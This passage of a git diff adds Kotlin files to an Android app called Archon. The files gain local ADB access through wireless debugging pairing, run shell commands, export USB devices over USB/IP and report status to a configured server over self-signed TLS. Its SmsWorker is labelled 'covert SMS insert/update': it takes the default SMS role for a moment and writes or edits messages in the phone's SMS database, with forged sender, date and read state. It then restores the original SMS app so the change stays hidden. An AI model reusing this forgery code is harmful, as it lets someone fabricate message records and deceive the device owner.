val content = ByteArrayOutputStream()
|
||||
for (item in items) content.write(item)
|
||||
return derTag(0x30, content.toByteArray())
|
||||
}
|
||||
|
||||
private fun derSet(vararg items: ByteArray): ByteArray {
|
||||
val content = ByteArrayOutputStream()
|
||||
for (item in items) content.write(item)
|
||||
return derTag(0x31, content.toByteArray())
|
||||
}
|
||||
|
||||
private fun derInteger(value: BigInteger): ByteArray {
|
||||
val bytes = value.toByteArray()
|
||||
return derTag(0x02, bytes)
|
||||
}
|
||||
|
||||
private fun derOid(oidBytes: ByteArray): ByteArray {
|
||||
return derTag(0x06, oidBytes)
|
||||
}
|
||||
|
||||
private fun derNull(): ByteArray = byteArrayOf(0x05, 0x00)
|
||||
|
||||
private fun derUtf8String(s: String): ByteArray {
|
||||
return derTag(0x0C, s.toByteArray(Charsets.UTF_8))
|
||||
}
|
||||
|
||||
private fun derBitString(data: ByteArray): ByteArray {
|
||||
val content = ByteArray(data.size + 1)
|
||||
content[0] = 0 // no unused bits
|
||||
System.arraycopy(data, 0, content, 1, data.size)
|
||||
return derTag(0x03, content)
|
||||
}
|
||||
|
||||
private fun derUtcTime(cal: Calendar): ByteArray {
|
||||
val s = String.format(
|
||||
"%02d%02d%02d%02d%02d%02dZ",
|
||||
cal.get(Calendar.YEAR) % 100,
|
||||
cal.get(Calendar.MONTH) + 1,
|
||||
cal.get(Calendar.DAY_OF_MONTH),
|
||||
cal.get(Calendar.HOUR_OF_DAY),
|
||||
cal.get(Calendar.MINUTE),
|
||||
cal.get(Calendar.SECOND)
|
||||
)
|
||||
return derTag(0x17, s.toByteArray(Charsets.US_ASCII))
|
||||
}
|
||||
|
||||
private fun derExplicit(tag: Int, content: ByteArray): ByteArray {
|
||||
return derTag(0xA0 or tag, content)
|
||||
}
|
||||
|
||||
/**
|
||||
* Discover the wireless debugging pairing port via mDNS.
|
||||
*/
|
||||
fun discoverPairingPort(context: Context, timeoutSec: Long = 15): Int? {
|
||||
val foundPort = AtomicInteger(-1)
|
||||
val latch = CountDownLatch(1)
|
||||
|
||||
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_PAIRING) { hostAddress, port ->
|
||||
Log.i(TAG, "Found pairing service at $hostAddress:$port")
|
||||
foundPort.set(port)
|
||||
latch.countDown()
|
||||
}
|
||||
mdns.start()
|
||||
|
||||
latch.await(timeoutSec, TimeUnit.SECONDS)
|
||||
mdns.stop()
|
||||
|
||||
val port = foundPort.get()
|
||||
return if (port > 0) port else null
|
||||
}
|
||||
|
||||
/**
|
||||
* Pair with the device's wireless debugging service.
|
||||
*/
|
||||
fun pair(context: Context, host: String = LOCALHOST, port: Int, code: String): Boolean {
|
||||
return try {
|
||||
ensureKeyPair(context)
|
||||
val manager = getOrCreateManager(context)
|
||||
val success = manager.pair(host, port, code)
|
||||
Log.i(TAG, "Pairing result: $success")
|
||||
success
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Pairing failed", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Discover the wireless debugging connect port via mDNS.
|
||||
*/
|
||||
fun discoverConnectPort(context: Context, timeoutSec: Long = 10): Int? {
|
||||
val foundPort = AtomicInteger(-1)
|
||||
val latch = CountDownLatch(1)
|
||||
|
||||
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_CONNECT) { hostAddress, port ->
|
||||
Log.i(TAG, "Found connect service at $hostAddress:$port")
|
||||
foundPort.set(port)
|
||||
latch.countDown()
|
||||
}
|
||||
mdns.start()
|
||||
|
||||
latch.await(timeoutSec, TimeUnit.SECONDS)
|
||||
mdns.stop()
|
||||
|
||||
val port = foundPort.get()
|
||||
return if (port > 0) port else null
|
||||
}
|
||||
|
||||
/**
|
||||
* Connect to the device's wireless debugging ADB service.
|
||||
*/
|
||||
fun connect(context: Context, host: String = LOCALHOST, port: Int): Boolean {
|
||||
return try {
|
||||
val manager = getOrCreateManager(context)
|
||||
val success = manager.connect(host, port)
|
||||
connected.set(success)
|
||||
if (success) connectedPort.set(port)
|
||||
Log.i(TAG, "Connect result: $success (port=$port)")
|
||||
success
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Connect failed", e)
|
||||
connected.set(false)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Auto-connect: discover port via mDNS and connect.
|
||||
*/
|
||||
fun autoConnect(context: Context): Boolean {
|
||||
val port = discoverConnectPort(context) ?: return false
|
||||
return connect(context, LOCALHOST, port)
|
||||
}
|
||||
|
||||
/**
|
||||
* Disconnect the current ADB session.
|
||||
*/
|
||||
fun disconnect() {
|
||||
try {
|
||||
connectionManager?.disconnect()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Disconnect error", e)
|
||||
}
|
||||
connected.set(false)
|
||||
connectedPort.set(0)
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if currently connected to an ADB session.
|
||||
*/
|
||||
fun isConnected(): Boolean = connected.get()
|
||||
|
||||
/**
|
||||
* Execute a shell command via the local ADB connection.
|
||||
*/
|
||||
fun execute(command: String): ShellResult {
|
||||
if (!connected.get()) {
|
||||
return ShellResult("", "Not connected to local ADB", -1)
|
||||
}
|
||||
|
||||
return try {
|
||||
val manager = connectionManager ?: return ShellResult("", "No connection manager", -1)
|
||||
val stream = manager.openStream("shell:$command")
|
||||
val inputStream = stream.openInputStream()
|
||||
val stdout = inputStream.bufferedReader().readText().trim()
|
||||
stream.close()
|
||||
ShellResult(stdout, "", 0)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Shell execute failed", e)
|
||||
connected.set(false)
|
||||
ShellResult("", "ADB shell error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if we were previously paired (have keys stored).
|
||||
*/
|
||||
fun isPaired(context: Context): Boolean = hasKeyPair(context)
|
||||
|
||||
/**
|
||||
* Get a human-readable status string.
|
||||
*/
|
||||
fun getStatusString(context: Context): String {
|
||||
return when {
|
||||
connected.get() -> "Connected (port ${connectedPort.get()})"
|
||||
hasKeyPair(context) -> "Paired, not connected"
|
||||
else -> "Not paired"
|
||||
}
|
||||
}
|
||||
|
||||
// ── Internal ──────────────────────────────────────────────────
|
||||
|
||||
private fun ensureKeyPair(context: Context) {
|
||||
if (!hasKeyPair(context)) {
|
||||
generateKeyPair(context)
|
||||
}
|
||||
}
|
||||
|
||||
private fun getOrCreateManager(context: Context): AbsAdbConnectionManager {
|
||||
connectionManager?.let { return it }
|
||||
|
||||
ensureKeyPair(context)
|
||||
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
val privateKeyBytes = Base64.decode(prefs.getString(KEY_PRIVATE, ""), Base64.NO_WRAP)
|
||||
val certBytes = Base64.decode(prefs.getString(KEY_CERTIFICATE, ""), Base64.NO_WRAP)
|
||||
|
||||
val keySpec = PKCS8EncodedKeySpec(privateKeyBytes)
|
||||
val privateKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec)
|
||||
|
||||
val certFactory = CertificateFactory.getInstance("X.509")
|
||||
val certificate = certFactory.generateCertificate(ByteArrayInputStream(certBytes))
|
||||
|
||||
val manager = object : AbsAdbConnectionManager() {
|
||||
override fun getPrivateKey(): PrivateKey = privateKey
|
||||
override fun getCertificate(): Certificate = certificate
|
||||
override fun getDeviceName(): String = "archon_${Build.MODEL}"
|
||||
}
|
||||
manager.setApi(Build.VERSION.SDK_INT)
|
||||
manager.setHostAddress(LOCALHOST)
|
||||
|
||||
connectionManager = manager
|
||||
return manager
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import android.app.NotificationChannel
|
||||
import android.app.NotificationManager
|
||||
import android.app.PendingIntent
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import androidx.core.app.NotificationCompat
|
||||
import androidx.core.app.RemoteInput
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.server.ArchonClient
|
||||
|
||||
/**
|
||||
* Handles the pairing code entered via notification inline reply.
|
||||
*
|
||||
* Flow (like Shizuku):
|
||||
* 1. User taps "START PAIRING" in Setup
|
||||
* 2. App shows notification with text input for pairing code
|
||||
* 3. User opens Developer Options > Wireless Debugging > Pair with code
|
||||
* 4. User pulls down notification shade and enters the 6-digit code
|
||||
* 5. This receiver auto-detects port, pairs, connects, starts ArchonServer
|
||||
*/
|
||||
class PairingReceiver : BroadcastReceiver() {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "PairingReceiver"
|
||||
const val ACTION_PAIR = "com.darkhal.archon.ACTION_PAIR"
|
||||
const val KEY_PAIRING_CODE = "pairing_code"
|
||||
const val NOTIFICATION_ID = 42
|
||||
const val CHANNEL_ID = "archon_pairing"
|
||||
|
||||
/**
|
||||
* Show the pairing notification with inline text input.
|
||||
*/
|
||||
fun showPairingNotification(context: Context) {
|
||||
createChannel(context)
|
||||
|
||||
val replyIntent = Intent(ACTION_PAIR).apply {
|
||||
setPackage(context.packageName)
|
||||
}
|
||||
val replyPending = PendingIntent.getBroadcast(
|
||||
context, 0, replyIntent,
|
||||
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
|
||||
)
|
||||
|
||||
val remoteInput = RemoteInput.Builder(KEY_PAIRING_CODE)
|
||||
.setLabel("6-digit pairing code")
|
||||
.build()
|
||||
|
||||
val action = NotificationCompat.Action.Builder(
|
||||
R.drawable.ic_archon,
|
||||
"Enter pairing code",
|
||||
replyPending
|
||||
)
|
||||
.addRemoteInput(remoteInput)
|
||||
.build()
|
||||
|
||||
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
|
||||
.setSmallIcon(R.drawable.ic_archon)
|
||||
.setContentTitle("Archon — Wireless Debugging Pairing")
|
||||
.setContentText("Open Settings > Developer Options > Wireless Debugging > Pair with code")
|
||||
.setStyle(NotificationCompat.BigTextStyle()
|
||||
.bigText("1. Open Settings > Developer Options\n" +
|
||||
"2. Enable Wireless Debugging\n" +
|
||||
"3. Tap 'Pair with pairing code'\n" +
|
||||
"4. Enter the 6-digit code below"))
|
||||
.addAction(action)
|
||||
.setOngoing(true)
|
||||
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
||||
.setAutoCancel(false)
|
||||
.build()
|
||||
|
||||
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||
nm.notify(NOTIFICATION_ID, notification)
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the notification with a status message (no input).
|
||||
*/
|
||||
fun updateNotification(context: Context, message: String, ongoing: Boolean = false) {
|
||||
createChannel(context)
|
||||
|
||||
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
|
||||
.setSmallIcon(R.drawable.ic_archon)
|
||||
.setContentTitle("Archon Pairing")
|
||||
.setContentText(message)
|
||||
.setOngoing(ongoing)
|
||||
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
||||
.setAutoCancel(!ongoing)
|
||||
.build()
|
||||
|
||||
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||
nm.notify(NOTIFICATION_ID, notification)
|
||||
}
|
||||
|
||||
/**
|
||||
* Dismiss the pairing notification.
|
||||
*/
|
||||
fun dismissNotification(context: Context) {
|
||||
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||
nm.cancel(NOTIFICATION_ID)
|
||||
}
|
||||
|
||||
private fun createChannel(context: Context) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
val channel = NotificationChannel(
|
||||
CHANNEL_ID,
|
||||
"Wireless Debugging Pairing",
|
||||
NotificationManager.IMPORTANCE_HIGH
|
||||
).apply {
|
||||
description = "Used for entering the wireless debugging pairing code"
|
||||
}
|
||||
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||
nm.createNotificationChannel(channel)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
if (intent.action != ACTION_PAIR) return
|
||||
|
||||
val remoteInput = RemoteInput.getResultsFromIntent(intent)
|
||||
val code = remoteInput?.getCharSequence(KEY_PAIRING_CODE)?.toString()?.trim()
|
||||
|
||||
if (code.isNullOrEmpty()) {
|
||||
updateNotification(context, "No code entered — try again")
|
||||
showPairingNotification(context)
|
||||
return
|
||||
}
|
||||
|
||||
Log.i(TAG, "Received pairing code: $code")
|
||||
updateNotification(context, "Pairing with code $code...", ongoing = true)
|
||||
|
||||
// Run pairing in background thread
|
||||
Thread {
|
||||
try {
|
||||
// Auto-detect pairing port
|
||||
Log.i(TAG, "Discovering pairing port...")
|
||||
val port = LocalAdbClient.discoverPairingPort(context)
|
||||
if (port == null) {
|
||||
Log.w(TAG, "Could not find pairing port")
|
||||
updateNotification(context, "Failed: no pairing port found. Is the Pair dialog still open?")
|
||||
Thread.sleep(3000)
|
||||
showPairingNotification(context)
|
||||
return@Thread
|
||||
}
|
||||
|
||||
Log.i(TAG, "Found pairing port: $port, pairing...")
|
||||
updateNotification(context, "Found port $port, pairing...", ongoing = true)
|
||||
|
||||
val success = LocalAdbClient.pair(context, "127.0.0.1", port, code)
|
||||
if (!success) {
|
||||
Log.w(TAG, "Pairing failed")
|
||||
updateNotification(context, "Pairing failed — wrong code or port changed. Try again.")
|
||||
Thread.sleep(3000)
|
||||
showPairingNotification(context)
|
||||
return@Thread
|
||||
}
|
||||
|
||||
Log.i(TAG, "Paired! Waiting for connect service...")
|
||||
updateNotification(context, "Paired! Waiting for ADB connect service...", ongoing = true)
|
||||
|
||||
// Wait for wireless debugging to register the connect service after pairing
|
||||
Thread.sleep(2000)
|
||||
|
||||
// Try to discover and connect with retries
|
||||
var connectSuccess = false
|
||||
for (attempt in 1..3) {
|
||||
Log.i(TAG, "Connect attempt $attempt/3...")
|
||||
updateNotification(context, "Connecting (attempt $attempt/3)...", ongoing = true)
|
||||
|
||||
val connectPort = LocalAdbClient.discoverConnectPort(context, timeoutSec = 8)
|
||||
if (connectPort != null) {
|
||||
Log.i(TAG, "Found connect port: $connectPort")
|
||||
connectSuccess = LocalAdbClient.connect(context, "127.0.0.1", connectPort)
|
||||
if (connectSuccess) {
|
||||
Log.i(TAG, "Connected on port $connectPort")
|
||||
break
|
||||
}
|
||||
Log.w(TAG, "Connect failed on port $connectPort")
|
||||
} else {
|
||||
Log.w(TAG, "mDNS connect discovery failed (attempt $attempt)")
|
||||
}
|
||||
|
||||
if (attempt < 3) Thread.sleep(2000)
|
||||
}
|
||||
|
||||
if (!connectSuccess) {
|
||||
Log.w(TAG, "All connect attempts failed")
|
||||
updateNotification(context, "Paired but connect failed. Open Setup tab and tap START SERVER.", ongoing = false)
|
||||
return@Thread
|
||||
}
|
||||
|
||||
// Try to start ArchonServer
|
||||
updateNotification(context, "Connected! Starting Archon Server...", ongoing = true)
|
||||
val result = ArchonClient.startServer(context)
|
||||
|
||||
val msg = if (result.success) {
|
||||
"Paired + connected + Archon Server running!"
|
||||
} else {
|
||||
"Paired + connected! Server: ${result.message}"
|
||||
}
|
||||
|
||||
Log.i(TAG, msg)
|
||||
updateNotification(context, msg, ongoing = false)
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Pairing error", e)
|
||||
updateNotification(context, "Error: ${e.message}")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.ContentValues
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.net.Uri
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
|
||||
/**
|
||||
* Handles covert SMS insert/update from ADB shell broadcasts.
|
||||
*
|
||||
* Flow:
|
||||
* 1. Python backend sets Archon as default SMS app via `cmd role`
|
||||
* 2. Sends: am broadcast -a com.darkhal.archon.SMS_INSERT -n .../.service.SmsWorker --es address ... --es body ...
|
||||
* 3. This receiver does ContentResolver.insert() at Archon's UID (which is now the default SMS app)
|
||||
* 4. Writes result to files/sms_result.txt
|
||||
* 5. Python reads result via `run-as com.darkhal.archon cat files/sms_result.txt`
|
||||
* 6. Python restores original default SMS app
|
||||
*/
|
||||
class SmsWorker : BroadcastReceiver() {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "SmsWorker"
|
||||
const val ACTION_INSERT = "com.darkhal.archon.SMS_INSERT"
|
||||
const val ACTION_UPDATE = "com.darkhal.archon.SMS_UPDATE"
|
||||
const val RESULT_FILE = "sms_result.txt"
|
||||
}
|
||||
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
val action = intent.action ?: return
|
||||
val resultFile = File(context.filesDir, RESULT_FILE)
|
||||
|
||||
try {
|
||||
when (action) {
|
||||
ACTION_INSERT -> handleInsert(context, intent, resultFile)
|
||||
ACTION_UPDATE -> handleUpdate(context, intent, resultFile)
|
||||
else -> resultFile.writeText("ERROR:Unknown action $action")
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "SMS operation failed", e)
|
||||
resultFile.writeText("ERROR:${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun handleInsert(context: Context, intent: Intent, resultFile: File) {
|
||||
val address = intent.getStringExtra("address") ?: run {
|
||||
resultFile.writeText("ERROR:No address"); return
|
||||
}
|
||||
val body = intent.getStringExtra("body") ?: run {
|
||||
resultFile.writeText("ERROR:No body"); return
|
||||
}
|
||||
|
||||
val values = ContentValues().apply {
|
||||
put("address", address)
|
||||
put("body", body)
|
||||
put("date", intent.getLongExtra("date", System.currentTimeMillis()))
|
||||
put("type", intent.getIntExtra("type", 1))
|
||||
put("read", intent.getIntExtra("read", 1))
|
||||
put("seen", 1)
|
||||
}
|
||||
|
||||
val uri = context.contentResolver.insert(Uri.parse("content://sms/"), values)
|
||||
|
||||
if (uri != null) {
|
||||
Log.i(TAG, "SMS inserted: $uri")
|
||||
resultFile.writeText("SUCCESS:$uri")
|
||||
} else {
|
||||
Log.w(TAG, "SMS insert returned null")
|
||||
resultFile.writeText("FAIL:provider returned null")
|
||||
}
|
||||
}
|
||||
|
||||
private fun handleUpdate(context: Context, intent: Intent, resultFile: File) {
|
||||
val smsId = intent.getStringExtra("id") ?: run {
|
||||
resultFile.writeText("ERROR:No SMS id"); return
|
||||
}
|
||||
|
||||
val values = ContentValues()
|
||||
intent.getStringExtra("body")?.let { values.put("body", it) }
|
||||
intent.getStringExtra("address")?.let { values.put("address", it) }
|
||||
if (intent.hasExtra("type")) values.put("type", intent.getIntExtra("type", 1))
|
||||
if (intent.hasExtra("read")) values.put("read", intent.getIntExtra("read", 1))
|
||||
if (intent.hasExtra("date")) values.put("date", intent.getLongExtra("date", 0))
|
||||
|
||||
if (values.size() == 0) {
|
||||
resultFile.writeText("ERROR:Nothing to update"); return
|
||||
}
|
||||
|
||||
val count = context.contentResolver.update(
|
||||
Uri.parse("content://sms/$smsId"), values, null, null
|
||||
)
|
||||
|
||||
Log.i(TAG, "SMS update: $count rows affected for id=$smsId")
|
||||
resultFile.writeText("SUCCESS:updated=$count")
|
||||
}
|
||||
}
|
||||
|
||||
// ── SMS Role stubs ──────────────────────────────────────────────
|
||||
// These are required for Android to accept Archon as a valid SMS role holder.
|
||||
// They don't need to do anything — they just need to exist and be declared
|
||||
// in the manifest with the correct intent filters and permissions.
|
||||
|
||||
/** Stub: receives incoming SMS when we're temporarily the default SMS app. */
|
||||
class SmsDeliverReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
// Intentionally empty — we only hold the SMS role briefly for inserts
|
||||
}
|
||||
}
|
||||
|
||||
/** Stub: receives incoming MMS when we're temporarily the default SMS app. */
|
||||
class MmsDeliverReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
// Intentionally empty
|
||||
}
|
||||
}
|
||||
|
||||
/** Stub: "respond via message" service required for SMS role. */
|
||||
class RespondViaMessageService : android.app.Service() {
|
||||
override fun onBind(intent: Intent?): android.os.IBinder? = null
|
||||
}
|
||||
|
||||
/** Stub: SMS compose activity required for SMS role. Immediately finishes. */
|
||||
class SmsComposeActivity : android.app.Activity() {
|
||||
override fun onCreate(savedInstanceState: android.os.Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
finish()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
|
||||
data class UsbDevice(
|
||||
val busId: String,
|
||||
val description: String
|
||||
)
|
||||
|
||||
object UsbIpManager {
|
||||
|
||||
private const val USBIPD_PROCESS = "usbipd"
|
||||
|
||||
/**
|
||||
* Start USB/IP daemon to export this device's USB gadget over the network.
|
||||
*/
|
||||
fun startExport(): ShellResult {
|
||||
return PrivilegeManager.execute("usbipd -D")
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop the USB/IP daemon.
|
||||
*/
|
||||
fun stopExport(): ShellResult {
|
||||
return PrivilegeManager.execute("killall $USBIPD_PROCESS")
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if usbipd is currently running.
|
||||
*/
|
||||
fun isExporting(): Boolean {
|
||||
val result = ShellExecutor.execute("pidof $USBIPD_PROCESS")
|
||||
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the usbip binary is available on this device.
|
||||
*/
|
||||
fun isAvailable(): Boolean {
|
||||
val result = ShellExecutor.execute("which usbip || which usbipd")
|
||||
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||
}
|
||||
|
||||
/**
|
||||
* List local USB devices that can be exported.
|
||||
*/
|
||||
fun listLocalDevices(): List<UsbDevice> {
|
||||
val result = PrivilegeManager.execute("usbip list -l")
|
||||
if (result.exitCode != 0) return emptyList()
|
||||
|
||||
val devices = mutableListOf<UsbDevice>()
|
||||
val lines = result.stdout.lines()
|
||||
|
||||
for (line in lines) {
|
||||
val match = Regex("""busid\s+(\S+)\s+\(([^)]+)\)""").find(line)
|
||||
if (match != null) {
|
||||
val busId = match.groupValues[1]
|
||||
val desc = match.groupValues[2]
|
||||
devices.add(UsbDevice(busId, desc))
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
/**
|
||||
* Bind a local USB device for export.
|
||||
*/
|
||||
fun bindDevice(busId: String): ShellResult {
|
||||
return PrivilegeManager.execute("usbip bind -b $busId")
|
||||
}
|
||||
|
||||
/**
|
||||
* Unbind a local USB device from export.
|
||||
*/
|
||||
fun unbindDevice(busId: String): ShellResult {
|
||||
return PrivilegeManager.execute("usbip unbind -b $busId")
|
||||
}
|
||||
|
||||
/**
|
||||
* Get combined USB/IP status.
|
||||
*/
|
||||
fun getStatus(): Map<String, Any> {
|
||||
val available = isAvailable()
|
||||
val exporting = if (available) isExporting() else false
|
||||
val devices = if (available) listLocalDevices() else emptyList()
|
||||
|
||||
return mapOf(
|
||||
"available" to available,
|
||||
"exporting" to exporting,
|
||||
"device_count" to devices.size,
|
||||
"devices" to devices.map { mapOf("bus_id" to it.busId, "description" to it.description) }
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,278 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.service.DiscoveryManager
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.darkhal.archon.util.SslHelper
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import java.net.HttpURLConnection
|
||||
import java.net.URL
|
||||
|
||||
class DashboardFragment : Fragment() {
|
||||
|
||||
private lateinit var privilegeStatusDot: View
|
||||
private lateinit var privilegeStatusText: TextView
|
||||
private lateinit var serverStatusDot: View
|
||||
private lateinit var serverStatusText: TextView
|
||||
private lateinit var wgStatusDot: View
|
||||
private lateinit var wgStatusText: TextView
|
||||
private lateinit var outputLog: TextView
|
||||
|
||||
// Discovery
|
||||
private lateinit var discoveryStatusDot: View
|
||||
private lateinit var discoveryStatusText: TextView
|
||||
private lateinit var discoveryMethodText: TextView
|
||||
private lateinit var btnDiscover: MaterialButton
|
||||
private var discoveryManager: DiscoveryManager? = null
|
||||
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_dashboard, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
// Bind views
|
||||
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
|
||||
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
|
||||
serverStatusDot = view.findViewById(R.id.server_status_dot)
|
||||
serverStatusText = view.findViewById(R.id.server_status_text)
|
||||
wgStatusDot = view.findViewById(R.id.wg_status_dot)
|
||||
wgStatusText = view.findViewById(R.id.wg_status_text)
|
||||
outputLog = view.findViewById(R.id.output_log)
|
||||
|
||||
// Discovery views
|
||||
discoveryStatusDot = view.findViewById(R.id.discovery_status_dot)
|
||||
discoveryStatusText = view.findViewById(R.id.discovery_status_text)
|
||||
discoveryMethodText = view.findViewById(R.id.discovery_method_text)
|
||||
btnDiscover = view.findViewById(R.id.btn_discover)
|
||||
|
||||
setupDiscovery()
|
||||
|
||||
// Initialize PrivilegeManager and check available methods
|
||||
val ctx = requireContext()
|
||||
PrivilegeManager.init(ctx, PrefsManager.getServerIp(ctx), PrefsManager.getWebPort(ctx))
|
||||
|
||||
Thread {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
handler.post {
|
||||
val hasPrivilege = method != PrivilegeManager.Method.NONE
|
||||
setStatusDot(privilegeStatusDot, hasPrivilege)
|
||||
privilegeStatusText.text = "Privilege: ${method.label}"
|
||||
appendLog("Privilege: ${method.label}")
|
||||
refreshServerStatus()
|
||||
}
|
||||
}.start()
|
||||
|
||||
// Auto-discover server on launch
|
||||
startDiscovery()
|
||||
}
|
||||
|
||||
private fun refreshServerStatus() {
|
||||
Thread {
|
||||
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||
val webPort = PrefsManager.getWebPort(requireContext())
|
||||
|
||||
// Check WireGuard tunnel
|
||||
val wgResult = ShellExecutor.execute("ip addr show wg0 2>/dev/null")
|
||||
val wgUp = wgResult.exitCode == 0 && wgResult.stdout.contains("inet ")
|
||||
|
||||
// Check if AUTARCH server is reachable
|
||||
val serverReachable = if (serverIp.isNotEmpty()) {
|
||||
probeServer(serverIp, webPort)
|
||||
} else {
|
||||
false
|
||||
}
|
||||
|
||||
handler.post {
|
||||
// WireGuard
|
||||
setStatusDot(wgStatusDot, wgUp)
|
||||
wgStatusText.text = if (wgUp) "WireGuard: connected" else "WireGuard: not active"
|
||||
|
||||
// Server
|
||||
if (serverIp.isEmpty()) {
|
||||
setStatusDot(serverStatusDot, false)
|
||||
serverStatusText.text = "Server: not configured — tap SCAN or set in Settings"
|
||||
} else if (serverReachable) {
|
||||
setStatusDot(serverStatusDot, true)
|
||||
serverStatusText.text = "Server: $serverIp:$webPort (connected)"
|
||||
} else {
|
||||
setStatusDot(serverStatusDot, false)
|
||||
serverStatusText.text = "Server: $serverIp:$webPort (unreachable)"
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun probeServer(ip: String, port: Int): Boolean {
|
||||
return try {
|
||||
val url = URL("https://$ip:$port/")
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 3000
|
||||
conn.readTimeout = 3000
|
||||
conn.requestMethod = "GET"
|
||||
conn.instanceFollowRedirects = true
|
||||
val code = conn.responseCode
|
||||
conn.disconnect()
|
||||
code in 200..399
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun setStatusDot(dot: View, online: Boolean) {
|
||||
val drawable = GradientDrawable()
|
||||
drawable.shape = GradientDrawable.OVAL
|
||||
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||
dot.background = drawable
|
||||
}
|
||||
|
||||
private fun appendLog(msg: String) {
|
||||
val current = outputLog.text.toString()
|
||||
val lines = current.split("\n").takeLast(20)
|
||||
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||
}
|
||||
|
||||
// ── Discovery ────────────────────────────────────────────────
|
||||
|
||||
private fun setupDiscovery() {
|
||||
discoveryManager = DiscoveryManager(requireContext())
|
||||
discoveryManager?.listener = object : DiscoveryManager.Listener {
|
||||
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||
val method = when (server.method) {
|
||||
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
|
||||
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
|
